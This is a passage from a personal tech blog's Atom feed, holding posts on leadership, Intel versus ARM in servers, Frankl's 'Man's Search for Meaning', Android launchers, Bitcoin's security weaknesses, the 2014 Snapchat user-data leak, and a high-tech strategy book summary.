<li>The bottom 20% can determine the outcome - Ensure that they are motivated.</li>
<li>Avoid the dance of death - If failure is imminent, don&rsquo;t give in, keep fighting, and lose with dignity.</li>
<li>Tell people - &ldquo;I believe in you&rdquo;</li>
<li>Don&rsquo;t push people to their limits all the time, try to maintain a sustainable level of performance, and keep the reserves ready for an emergency.</li>
<li>Keep superiors informed of your activities - Err on the side of over-communication.</li>
<li>Make your mentors and learn from them - A good leader is always learning.</li>
<li>A leader aims for perfection, he does not settle for 99%.</li>
<li>A leader focuses on performance rather than getting distracted by rumors and gossip.</li>
<li>A leader ensures that his followers can advance their careers, he does not backstab them for his personal or organizational gains.</li>
<li>A leader succeeds by meticulous planning and not by hoping for a surprise (though the execution appears as a surprise to outside observers).</li>
<li>When a leader makes mistakes, he admits them and moves on.</li>
<li>While judging a person, do not ignore the context.</li>
<li>A pretty package cannot sell a poor product.</li>
<li>A leader is discreet about whom he confides his secrets, crying on the wrong shoulder will have negative repercussions.</li>
</ol>
<h2 id="13-characteristics-of-a-leader">13 characteristics of a leader</h2>
<ol>
<li>Be yourself - Follow your way of doing things</li>
<li>Be committed to excellence - Focus must be on doing things at the highest possible level of performance</li>
<li>Be positive - Spend more time on &ldquo;Do&rdquo; than &ldquo;Don&rsquo;t&rdquo;</li>
<li>Be prepared - Prepare for all expected situations even undesirable ones</li>
<li>Be detail-oriented - But don&rsquo;t bury yourself in them</li>
<li>Be organized - <em>great organization</em> is a trademark of <em>the great</em> organization</li>
<li>Be accountable</li>
<li>Be near-sighted and far-sighted</li>
<li>Be fair - to people</li>
<li>Be firm - on values and principles</li>
<li>Be flexible - to adjust to new situations and find solutions</li>
<li>Believe in yourself - have self-confidence</li>
<li>Be a leader - Demonstrate integrity, intelligence, and team-first attributes</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/leadership" term="leadership" label="leadership"/><category scheme="https://ashishb.net/tag/productivity" term="productivity" label="productivity"/></entry><entry><title type="html">Intel will lose server market even faster than consumer</title><link href="https://ashishb.net/tech/intel-server-market/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/material-design-and-google-strategy/?utm_source=atom_feed" rel="related" type="text/html" title='"Material design" and Google&#39;s strategy'/><link href="https://ashishb.net/tech/nokia-working-on-android-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Why Nokia's (rumored) Android phone is doomed"/><link href="https://ashishb.net/tech/google-vs-perplexity/?utm_source=atom_feed" rel="related" type="text/html" title="Google Search is losing to Perplexity"/><link href="https://ashishb.net/tech/the-decline-of-microsoft-and-intel-in-internet-centric-era/?utm_source=atom_feed" rel="related" type="text/html" title="Decline of Microsoft and Intel in smartphone+Internet era"/><link href="https://ashishb.net/book-summary/steve-jobs/?utm_source=atom_feed" rel="related" type="text/html" title="Book Review: Steve Jobs by Walter Isaacson"/><id>https://ashishb.net/tech/intel-server-market/</id><author><name>Ashish Bhatia</name></author><published>2014-01-28T08:29:16+00:00</published><updated>2014-01-28T08:29:16+00:00</updated><content type="html"><![CDATA[<blockquote>Intel&rsquo;s x86 faces a tough road with ARM&rsquo;s rise in servers. Discover how LLVM, VMs, and PaaS trends are reshaping the processor market landscape.</blockquote><p>One of the biggest challenges to Intel&rsquo;s x86 hegemony in the consumer market has been the emergence of smartphones where ARM-based processors have 90%   
    
    
<a href="https://www.forbes.com/sites/darcytravlos/2013/02/28/arm-holdings-and-qualcomm-the-winners-in-mobile/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">market</a> share. The PC market where Intel has a stronghold is declining at (estimated) 10% annual   
    
    
<a href="https://www.bloomberg.com/news/2013-08-29/pc-market-to-post-steeper-drop-of-9-7-in-2013-idc-says.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">rate</a>.</p>
<p>While a lot of coverage has been to given to Intel&rsquo;s decline in the consumer market, I believe Intel has a tough road ahead in server market too. One major advantage Intel has is the amount of (legacy) code which has been written for x86 (the same thing which keeps Cobol on   
    
    
<a href="https://news.dice.com/2013/07/02/is-the-demise-of-cobol-greatly-exaggerated/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">life support</a>), this advantage is diminishing rapidly due to following trends.</p>
<ol>
<li><strong>The demise of gcc and rise of LLVM</strong>
For years Gcc was used, and since x86 was dominant ISA (instruction set architecture), several   
    
    
<a href="https://software.intel.com/en-us/blogs/2012/09/26/gcc-x86-performance-hints?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">optimizations</a> were done for optimized x86 code generation.
Now, gcc is being replaced with LLVM and clang by   
    
    
<a href="https://google-engtools.blogspot.com/2011/05/c-at-google-here-be-dragons.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google</a> and   
    
    
<a href="https://llvm.org/Users.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Apple</a>. Given that both companies are heavily focused on their ARM-based devices, it should not come as a surprise that LLVM will have better support for ARM code generation in the long run. Rumors of Google (Intel&rsquo;s 5th largest customer) working on ARM-based servers are already   
    
    
<a href="https://www.bloomberg.com/news/2013-12-12/google-said-to-mull-designing-chips-in-threat-to-intel.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">out</a>.</li>
<li><strong>VM (virtual machine) based languages</strong> A lot of server-side software development (web or otherwise) has moved to VM based languages (Java, PHP being the old leaders and Ruby, Python, Node.js the new ones).
VMs makes these platform-agnostic and hence making a move from x86 to ARM even simpler (since only the VM has to support underlying platform).</li>
<li><strong>PaaS (platform as a service)</strong> As more and more services are being moved into cloud whose underlying infrastructure is being dominated by only a few   
    
    
<a href="https://www.businessinsider.com/amazon-cloud-beats-ibm-microsoft-google-2013-11?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">players</a> (Amazon, Google, etc.), it makes it, even more, easier and economical for these players to design their custom ARM processors and offer it to their customers.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/apple" term="apple" label="apple"/><category scheme="https://ashishb.net/tag/arm" term="arm" label="arm"/><category scheme="https://ashishb.net/tag/google" term="google" label="google"/><category scheme="https://ashishb.net/tag/intel" term="intel" label="intel"/><category scheme="https://ashishb.net/tag/x86" term="x86" label="x86"/></entry><entry><title type="html">Book Summary: Man's search for meaning</title><link href="https://ashishb.net/book-summary/mans-search-for-meaning/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/bogleheads-guide-to-investing/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Bogleheads guide to investing"/><link href="https://ashishb.net/book-summary/influence-the-psychology-of-persuasion/?utm_source=atom_feed" rel="related" type="text/html" title="Influence: The Psychology of Persuasion by Robert B. Cialdini"/><link href="https://ashishb.net/book-summary/think-like-a-freak/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Think like a freak by Steven Levitt and Stephen Dubner"/><link href="https://ashishb.net/book-summary/the-last-lecture/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Last Lecture by Randy Pausch"/><link href="https://ashishb.net/book-summary/only-the-paranoid-survives/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Only The Paranoid Survives by Andrew Grove"/><id>https://ashishb.net/book-summary/mans-search-for-meaning/</id><author><name>Ashish Bhatia</name></author><published>2014-01-17T08:54:06+00:00</published><updated>2014-01-17T08:54:06+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the profound journey of a Nazi concentration camp survivor finding life&rsquo;s meaning through adversity, love, and suffering in this compelling narrative.</blockquote><p>The   
    
    
<a href="https://amzn.to/1dcLCaz?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is the narration of the author&rsquo;s life as a prisoner in the Nazi concentration camp.</p>
<h3 id="experiences-in-the-concentration-camp">Experiences in the concentration camp</h3>
<p>The book talks in detail about various adversities which the author and other prisoners in the camp faced. Emphasis has been made on the fact that despite adverse conditions, some people were still able to find a meaning to their life (via imagination or hoping for a better future). Those who lost the meaning decided to kill themselves via touching the electric fence or by letting their body and spirit weaken (leading to death by Typhus). Even in the camp, occasional insults (at the hand of guards) left a stronger mark on the author than the physical adversities. The mental state regresses to more primitive form (bread, cigarettes and warm bath - the things most missing from the camp), sexual thoughts completely went away. Those with a rich intellectual life were able to preserve their inner self and survive physical atrocities better than others. Imagination, humor, dreaming about better future, complete apathy towards a miserable condition of others were different ways which people used as psychological defense mechanisms to avoid a mental breakdown.</p>
<p>&ldquo;He who has a why to live can bear with anyhow&rdquo;.
&ldquo;The most fundamental freedom which can never be taken away from a man is his ability to choose his attitude towards any circumstances&rdquo;.
&ldquo;Live as if you were living for the second time and have acted wrongly the first time as you are about to act now&rdquo;.
&ldquo;What you have experienced, no power on earth can take away from you&rdquo;.
&ldquo;Attitude can convert suffering to opportunity&rdquo;.</p>
<p>Immediately after release, a lot of prisoners went through a phase of &ldquo;depersonalization&rdquo;, where they felt as if everything is a dream. Some felt <em>bitter</em> because those who outside do not appreciate their suffering, some felt <em>disillusioned</em> because all the dreams they had of a beautiful life (after release) did not turn out as expected.</p>
<h3 id="logotherapy">Logotherapy</h3>
<p>While Freudian psychology focused on &ldquo;pleasure&rdquo;, Logotherapy focuses on &ldquo;meaning&rdquo;.
It implies that humans live to find a meaning to their life, and life just like sometimes a movie does not reveal its entire plot till the last scene.
The meaning of life can be discovered in one of the following ways</p>
<ol>
<li>By doing work - the way of achievement</li>
<li>By experiencing something or encountering someone - the way of love</li>
<li>By the attitude is taken towards unavoidable suffering</li>
</ol>
<p>Once the individual&rsquo;s search for meaning is fulfilled, it not only makes him happy but gives him the courage to face the suffering as well.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Random Thoughts: Android launchers (home screens)</title><link href="https://ashishb.net/tech/random-thoughts-android-launchers-home-screens/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/nokia-working-on-android-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Why Nokia's (rumored) Android phone is doomed"/><link href="https://ashishb.net/tech/musicsync-audio-player/?utm_source=atom_feed" rel="related" type="text/html" title="MusicSync: best alternative to Google Play Music and Google Podcasts"/><link href="https://ashishb.net/tech/dealing-with-phone-numbers-in-contact-book/?utm_source=atom_feed" rel="related" type="text/html" title="Dealing with phone numbers in contact book"/><link href="https://ashishb.net/tech/google-i-o-2018-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2018: Android Notes"/><link href="https://ashishb.net/tech/google-io-2017-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2017: Android Notes"/><id>https://ashishb.net/tech/random-thoughts-android-launchers-home-screens/</id><author><name>Ashish Bhatia</name></author><published>2014-01-09T08:35:50+00:00</published><updated>2014-01-09T08:35:50+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why static app screens may offer better usability than dynamic updates on mobile devices. Explore the advantages of Nova over Cover and Aviate.</blockquote><p>I have used   
    
    
<a href="https://play.google.com/store/apps/details?id=com.coverscreen.cover&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cover</a> and   
    
    
<a href="https://play.google.com/store/apps/details?id=com.tul.aviate&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Aviate</a> but could not stay with either and am back to   
    
    
<a href="https://play.google.com/store/apps/details?id=com.teslacoilsw.launcher&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Nova</a> (which offer static screen of apps).</p>
<p>One problem I faced with both Cover and Aviate is that dynamic updation of display (which is their USP) actually interferes with usability.
Contextual dynamically generated information is good for things like Facebook/Twitter/LinkedIn streams,
but it does not work well on mobile phones.
People visit social network with expectation of seeing something new, they don&rsquo;t turn on the screen of their smartphones
to see something new, but they always have an app in mind, it could be Yelp (for local) or Google Maps for turn-by-turn
navigation. When screen changes itself dynamically, it causes a cognitive overload to decipher the new set of icons
since the spatial positions have changed.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/></entry><entry><title type="html">Thoughts on Bitcoin</title><link href="https://ashishb.net/security/random-thoughts-on-bitcoin/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/random-thoughts-on-bitcoin-part-2/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on Bitcoin (part 2)"/><link href="https://ashishb.net/tech/material-design-and-google-strategy/?utm_source=atom_feed" rel="related" type="text/html" title='"Material design" and Google&#39;s strategy'/><link href="https://ashishb.net/tech/internet-activists-the-advent-of-snap-judgement-and-internets-permanence/?utm_source=atom_feed" rel="related" type="text/html" title="Advent of snap judgement and Internet's permanence"/><link href="https://ashishb.net/tech/fixing-tech-recruiting/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on fixing tech recruiting"/><link href="https://ashishb.net/tech/nokia-working-on-android-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Why Nokia's (rumored) Android phone is doomed"/><id>https://ashishb.net/security/random-thoughts-on-bitcoin/</id><author><name>Ashish Bhatia</name></author><published>2014-01-07T09:45:30+00:00</published><updated>2014-01-07T09:45:30+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the complexities of Bitcoin, its promises of anonymity and decentralization, and the challenges faced in securing and safeguarding cryptocurrency holdings.</blockquote><h3 id="a-short-summary-of-bitcoin">A short summary of bitcoin</h3>
<p>Electronic money is all about ledger (transactions) which tells who sent money to whom, in standard financial system,
central/federal/reserve bank (different nations have different names for these) and by extension,
financial institutions are &ldquo;trusted&rdquo; to maintain that ledger.
Any work which requires a &ldquo;trusted&rdquo; party can in principle, be done using cryptography without requiring a
&ldquo;trusted&rdquo; party and bitcoin is manifestation of that applied to ledger.
For more thorough treatment have a look at   
    
    
<a href="https://bitcoin.org/bitcoin.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">original paper</a> or this   
    
    
<a href="https://www.michaelnielsen.org/ddi/how-the-bitcoin-protocol-actually-works/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">blog post</a>.</p>
<h3 id="objections-to-current-status">Objections to current status</h3>
<p>Let&rsquo;s look at some of the most touted aspects of bitcoin</p>
<ol>
<li>Anonymity - By using   
    
    
<a href="https://www.forbes.com/sites/jonmatonis/2013/06/05/the-politics-of-bitcoin-mixing-services/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bitcoin mixers</a> (mixing bitcoins from different sources)</li>
<li>Decentralized - Since no single entity controls it, any fiscal or monetary modifications are practically impossible, so, no more central control over money</li>
</ol>
<p>Now lets see few recent news about bitcoins</p>
<ol>
<li>Chinese bitcoin exchange   
    
    
<a href="https://blogs.marketwatch.com/thetell/2013/11/12/chinese-bitcoin-exchange-disappears-with-4-1-million/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">disappears</a> with $4.1 million</li>
<li>Man says he   
    
    
<a href="https://www.theregister.co.uk/2011/06/16/bitcoin_theft_claims/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">lost</a> $500,000 in virtual currency heist (probably to windows malware)</li>
<li>Bitcoin Payment Processor BIPS Attacked, Over $1m   
    
    
<a href="https://www.coindesk.com/bitcoin-payment-processor-bips-attacked-1m-stolen/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">stolen</a></li>
<li>Hackers   
    
    
<a href="https://www.coindesk.com/hackers-steal-bitcoins-inputs-io-wallet-service/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">steal</a> $1.2m of bitcoins from Inputs.io, a supposedly secure wallet service</li>
<li>Bitcoin Worth £4.6 Million Is   
    
    
<a href="https://www.huffingtonpost.co.uk/2013/11/27/bitcoin-buried-wales-46-million_n_4350267.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Buried</a> Under A Landfill In South Wales</li>
<li>A big chunk of bitcoins seems to be   
    
    
<a href="https://www.reddit.com/r/Bitcoin/comments/yee49/how_many_bitcoins_have_already_been_lost_forever/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">lost</a> forever</li>
</ol>
<p>Does there seem any relation?
In standard financial world, someone who steals electronic money from (say) a bank account has to transfer it to
somewhere (via Western Union) or for   
    
    
<a href="https://www.tripwire.com/state-of-security/vulnerability-management/how-stolen-target-credit-cards-are-used-on-the-black-market/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">buying</a> something like charge cards or goods with good resale value.
Whatever happens is not anonymous, and it leaves a trail behind, these trails are useful sometimes for catching the
thieves but more often than not to detect potential fraudulent transactions.
Of course, the anonymity and decentralization implies that neither a transaction cancellation nor the trail finding will
work as expected. Similarly, losing bank account password does not imply losing access to money, worst case,
there will be a long phone call with customer care but losing bitcoin wallet implies that bitcoins are permanently lost.</p>
<p>So, where does this leave a common man holding cryptocurrency with?
What&rsquo;s the assurance that they won&rsquo;t suddenly disappear ? or will be traced if stolen?
Rather than making it easier to manage money, the whole burden of protecting the money has been moved from financial
institutions to individuals.</p>
<p>Of course, the bitcoin is currently evolving and things might change in future but if the techno-libertarians start
focusing on making a better product out of bitcoins which can guarantee <strong>fraud protection</strong> and <strong>recoverability</strong> of money,
then only we can expect bitcoin to reach common man. While I strongly believe, the tech community can solve or find work around these issues,
they just does not seem to be high enough on their priority list.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/bitcoins" term="bitcoins" label="bitcoins"/></entry><entry><title type="html">Thoughts on Snapchat's snafu</title><link href="https://ashishb.net/security/random-thoughts-on-snapchats-snafu/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><link href="https://ashishb.net/programming/run-tools-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="To keep your machine secure, run third-party tools inside Docker"/><link href="https://ashishb.net/security/nillion/?utm_source=atom_feed" rel="related" type="text/html" title="Nillion"/><link href="https://ashishb.net/security/android-security-dont-leave-webview-debugging-enabled-in-production/?utm_source=atom_feed" rel="related" type="text/html" title="Don't leave Android WebView debugging enabled in production"/><link href="https://ashishb.net/security/android-security-related-tools/?utm_source=atom_feed" rel="related" type="text/html" title="Android Security related tools"/><id>https://ashishb.net/security/random-thoughts-on-snapchats-snafu/</id><author><name>Ashish Bhatia</name></author><published>2014-01-03T21:34:50+00:00</published><updated>2014-01-03T21:34:50+00:00</updated><content type="html"><![CDATA[<blockquote>Snapchat&rsquo;s user data leak exposed 4.6M users. Discover how reverse engineering and inadequate privacy measures led to this breach, and possible solutions.</blockquote><h3 id="background">Background</h3>
<p>A security company reverse engineered Snapchat&rsquo;s android client and found all the api endpoints (   
    
    
<a href="https://gibsonsec.org/snapchat/fulldisclosure?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>).
Bigger issue: The published proof of concept of using &ldquo;find friends&rdquo; feature to find whether a phone number is registered on Snapchat or not, and if it is, then its associated username and location of the user.
Their claim was that despite informing Snapchat about the hole, Snapchat did nothing about it.
As expected, someone published data of 4.6M registered users (   
    
    
<a href="https://snapchatdb.info/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>) using the proof of concept provided. Snapchat   
    
    
<a href="https://blog.snapchat.com/post/72013106599/find-friends-abuse?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">responded</a> saying that soon users will be able to opt-out of find friends feature.</p>
<h3 id="thoughts-on-reverse-engineering">Thoughts on Reverse Engineering</h3>
<p>Preventing reverse engineering of client side code is in principle, impossible. It can be made difficult and there are entire industries set up around this. It can definitely be made difficult using obfuscation but ones a company has rumoured valuation of   
    
    
<a href="https://www.theverge.com/2013/11/15/5106950/google-snapchat-4-billion-buyout-rumor?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">4 billion</a>, its impossible not to attract attention of security researchers and any efforts made to prevent reverse engineering will be arms race.</p>
<h3 id="thoughts-on-user-information-leak">Thoughts on user information leak</h3>
<p>A new generation of mobile focused social apps (three I use -   
    
    
<a href="https://www.snapchat.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Snapchat</a>,   
    
    
<a href="https://www.whatsapp.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">WhatsApp</a>,   
    
    
<a href="https://www.viber.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Viber</a> but there are many more) uses mobile phone address book as connections, this leads to some interesting situations. Two years back, some people reverse engineered WhatsApp&rsquo;s api and found out a way to read (and modify) status of users on WhatsApp (   
    
    
<a href="https://tweakers.net/nieuws/79321/whatsapp-status-van-anderen-is-nog-steeds-te-wijzigen.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>), since Snapchat authenticates its users, the problem of modification is not an issue but the first issue still remains. Mobile numbers are from a small namespace (10 digits in USA and cannot be longer than 15 digits as per ITU), its easy to scan this range and I believe rate limiting would not have helped much either.</p>
<h3 id="a-better-solution">A better solution</h3>
<p>What surprises me more is that Snapchat did not implement a simpler fix of requiring &ldquo;mutual contacts in address book&rdquo; before disclosing information about one&rsquo;s contacts.
Imagine this Adam has Eve&rsquo;s phone number in his contact list but Eve does not Adam in her contact list, in that case, letting Adam know that Eve uses Snapchat or being able to pull her location is a bad idea. A simple fix like this would, in my opinion, have prevented this fiasco.
I must admit, the fix is not novel, that&rsquo;s how Google Talk&rsquo;s status and online/offline presence works, Adam cannot get that info about Eve through her email address lest Eve adds her back as well.</p>
]]></content><category scheme="https://ashishb.net/category/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/snapchat" term="snapchat" label="snapchat"/></entry><entry><title type="html">Winners Take All - The 9 fundamental rules of high tech strategy</title><link href="https://ashishb.net/book-summary/winners-take-all-the-9-fundamental-rules-of-high-tech-strategy/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/how-to-create-a-mind-by/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: How to create a mind by Ray Kurzweil"/><link href="https://ashishb.net/book-summary/the-lean-startup/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Lean Startup by Eric Ries"/><link href="https://ashishb.net/book-summary/remote-office-not-required/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Remote - office not required"/><link href="https://ashishb.net/book-summary/the-start-up-of-you/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Start-Up of You"/><link href="https://ashishb.net/book-summary/the-tangled-web/?utm_source=atom_feed" rel="related" type="text/html" title="Book Review: The Tangled web"/><id>https://ashishb.net/book-summary/winners-take-all-the-9-fundamental-rules-of-high-tech-strategy/</id><author><name>Ashish Bhatia</name></author><published>2014-01-02T23:47:35+00:00</published><updated>2014-01-02T23:47:35+00:00</updated><content type="html"><![CDATA[<blockquote>Discover fascinating insights from &ldquo;Winners Take All&rdquo; on high-tech success. Learn strategies for market focus, value creation, partnerships, and adapting to change.</blockquote><p>The book   
    
    
<a href="https://amzn.to/4liIftF?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Winners take all</a> is a collection of interesting insights into how companies in the high-tech sector succeed and fail. The book was written in 2006 (pre-iPhone era) so it&rsquo;s interesting to see how some companies mentioned by the author (notably, Apple and Google) succeeded and how some others (notably, Symantec and Nokia) are struggling.</p>
<p>Rules</p>
<ol>
<li><strong>Feel the (customer&rsquo;s) pain. Then develop the product</strong>
Focus on painkillers and not vitamins.
Focus on getting regular feedback from customers.
<strong>Craigslist</strong> founder Craig Newmark use to visit forums regularly and take feedback from users.
<strong>Alphasmart</strong> (maker of educational PCs) focused heavily on taking feedback from the teachers.</li>
<li><strong>Focus, win, grow, repeat</strong>&ldquo;Hedging is expensive and dilutes commitment&rdquo; - Andy Groves
The strategic focus is important since most high-tech world is about winner takes all, not being the market leader can be suicidal.
<strong>Symantec</strong> had several PC tool products in the market, the new CEO   
    
    
<a href="https://en.wikipedia.org/wiki/John_W._Thompson?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">John W. Thompson</a> cut down all to focus solely on Internet security, it acquired tech wherever needed and even sold profitable but distracting products like   
    
    
<a href="https://en.wikipedia.org/wiki/Visual_Caf%C3%A9?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Visual Cafe</a> to have a better strategic focus.
<strong>Microsoft</strong> focused on one competitor at a time and won several times (defeated WordPerfect, Lotus, Borland and then Netscape, eventually lost to Intuit in personal finance though).
<strong>Borland</strong> was focused on developer tools but destroyed itself by distracting itself into products like Sidekick (personal information manager), Quattro (spreadsheet software) and moving its main engineers from one project to another. Bad acquisitions like Aston-Tate and renaming company to Inprise only created more chaos. The company pretty much killed itself before regaining focus (and the original name) in 2004.
<strong>Yahoo</strong> destroyed itself by not preserving its core (search) while expanding to media branding.
<strong>Excite</strong> (#2 search engine after Yahoo in 1998) killed itself by acquiring ISP At-home.
TI (Texas Instruments) lost microprocessor market to Intel and Motorola but focused heavily on DSP after that
The ideal strategy is to focus on one product/market/competitor, build strength, become the market leader and then expand to adjacent markets/products in a similar fashion.</li>
<li><strong>Add value not features</strong>
<strong>Features</strong>- what companies add to a product
<strong>Values</strong> - what customers really want
Sometimes these are not aligned with each other.
&ldquo;On average, only 7% of software functionality that was paid for is actually used&rdquo; - Gartner.
Aim for a market big enough to create business and small enough to dominate.
<strong>SGI</strong> kept focusing on adding more power (feature) to its graphics design software (product) while customers found value in buying personal computers instead. Eventually, killing SGI.
Detroit ( <strong>Ford, GM, Daimler-Chrysler</strong>) kept building more powerful(feature) cars while customers wanted fuel efficiency and safety (value).
<strong>Swatch</strong> focused on simple, mechanical watches which customers valued (instead of digital watches with calculators and time of different cities in the world).
<strong>Intel</strong> for a long time was focused on most powerful processors but realized that customers value other things (like wireless connectivity) and is refocusing on providing that value.
<strong>Starmine</strong> (financial analysis software) added a new feature Smart Estimate which estimated stock price before earnings came out, the estimate was graphical - beautiful but useless for customers (quants), so, it re-engineered it to output the number instead. Before adding new features, Starmine goes to its high usage customers asking whether the feature is going to add value or not.
<strong>Texas Instruments</strong> created value by first asking Nokia and then building low power DSP chips which Nokia phones used.
<strong>Microsoft</strong>   
    
    
<a href="https://en.wikipedia.org/wiki/Office_Assistant?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">office assistant</a> feature added negative value to the product.</li>
<li><strong>Have a story. Communicate it clearly</strong> Story creation happens in three stages - creation, struggle to achieve the goal and final success (Aristotle&rsquo;s storytelling style).
A company must craft a simple message.
<strong>Skype</strong> - &ldquo;free internet telephony which just works.&rdquo;
<strong>AT&amp;T</strong> - &ldquo;your world delivered.&rdquo; (short but meaningless and hence not effective)
<strong>Applied Bioscience</strong> - &ldquo;See more genes. Use fewer samples&rdquo; (rather than the more technical &ldquo;Expression Array System&rdquo;).
The product must be positioned relative to something (existing market, process, competitor, as a niche player or as a leader).
<strong>Sybase</strong> positioned itself as &ldquo;unwired enterprise&rdquo; (focusing on the mobile market).
<strong>Intel</strong> positioned Centrino relative to its Pentium (since AMD was too far behind them to pitch as a competitor).
It&rsquo;s important to have useful names since names like Inprise, Enterasys just don&rsquo;t remind of what they do. Name of the company can be based on the founder&rsquo;s name (Linux, Dell, CraigsList, Norton, HP, Seibel), a functional name (NetFlix, SalesForce, XM Satellite Radio), evocative (Oracle, Visa, YouTube), zeitgeist - related to ongoing culture (Friendster - build on the word Napster) or acronyms (In the author&rsquo;s opinion, acronyms like RSA, MP3 are much better than names like Inprise and Enterasys).</li>
<li><strong>It&rsquo;s a risky world. Sell confidence</strong>
User of a new product takes a lot of risks, especially, if s/he is introducing it to its enterprise, the risks are financial (what if the product fails?), technology (what if technology is outdated?), standards risk (what if this does not become the winning standard? as Blu-ray lost), execution risk (what if the seller fails in execution?), company risk (what if seller disappears? like <strong>Pandesic</strong>, an Intel-SAP joint venture disappeared), legal risk (will product comply with regulations?), PR risk (Benetton had a   
    
    
<a href="https://www.rfidjournal.com/purchase-access?type=Article&amp;id=469&amp;r=%2Farticles%2Fview%3F469&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bad PR</a> due to adding RFID tags to its products).
